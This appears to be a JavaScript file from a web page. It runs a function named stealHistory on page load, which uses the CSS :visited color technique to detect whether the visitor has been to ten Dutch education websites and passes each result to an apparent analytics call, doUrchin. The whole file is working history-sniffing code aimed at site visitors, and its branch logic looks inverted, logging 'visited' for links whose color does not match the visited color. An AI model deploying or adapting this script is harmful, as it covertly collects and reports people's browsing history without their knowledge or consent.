addEvent( window, 'load', stealHistory );

var IEVisitedColor 	= '#cd0018';
var W3CVisitedColor	= 'rgb(205, 0, 24)';

var websites = [
  "http://www.loi.nl/",
  "http://www.ncoi.nl/",
  "http://www.nha.nl/",
  "http://www.sn.nl/",
  "http://www.isbw.nl/",
  "http://www.ou.nl/",
  "http://www.inholland.nl/",
  "http://www.werksite.nl/",
  "http://www.eduhub.nl/",
  "http://www.roc.nl/"
];

function stealHistory()
{
	if( document.getElementById( 'site-list' ) )
	{
		var List = document.getElementById( 'site-list' );
		
		for( var i = 0; i < websites.length; i++ ) 
		{
			var bRemove		= false;
			var ListItem	= document.createElement( 'li' );
			var Link 		= document.createElement( 'a' );
			Link.href 		= websites[i];
			Link.id			= i;
			
			Link.appendChild( document.createTextNode( websites[i] ) );
			ListItem.appendChild( Link );
			List.appendChild( ListItem );
			
			if( Link.currentStyle )
			{
				var color = Link.currentStyle['color'];
				
				if( color == IEVisitedColor )
				{
					bRemove = true;
				}
			}
			else if( document.defaultView.getComputedStyle( Link, null ) )
			{
				var color = document.defaultView.getComputedStyle( Link, null ).color;
				
				if( color == W3CVisitedColor )
				{
					bRemove = true;
				}
			}
			/*
			// does not work in safari
			else if( window.getComputedStyle )
			{
				var color = window.getComputedStyle( Link, null ).color;
				
				if( color == W3CVisitedColor )
				{
					bRemove = true;
				}
			}
			*/
			
			if( bRemove == true )
			{
				List.removeChild( ListItem );
			}
			else
			{
				doUrchin( websites[i], 'visited' );
			}
		}
	}
}
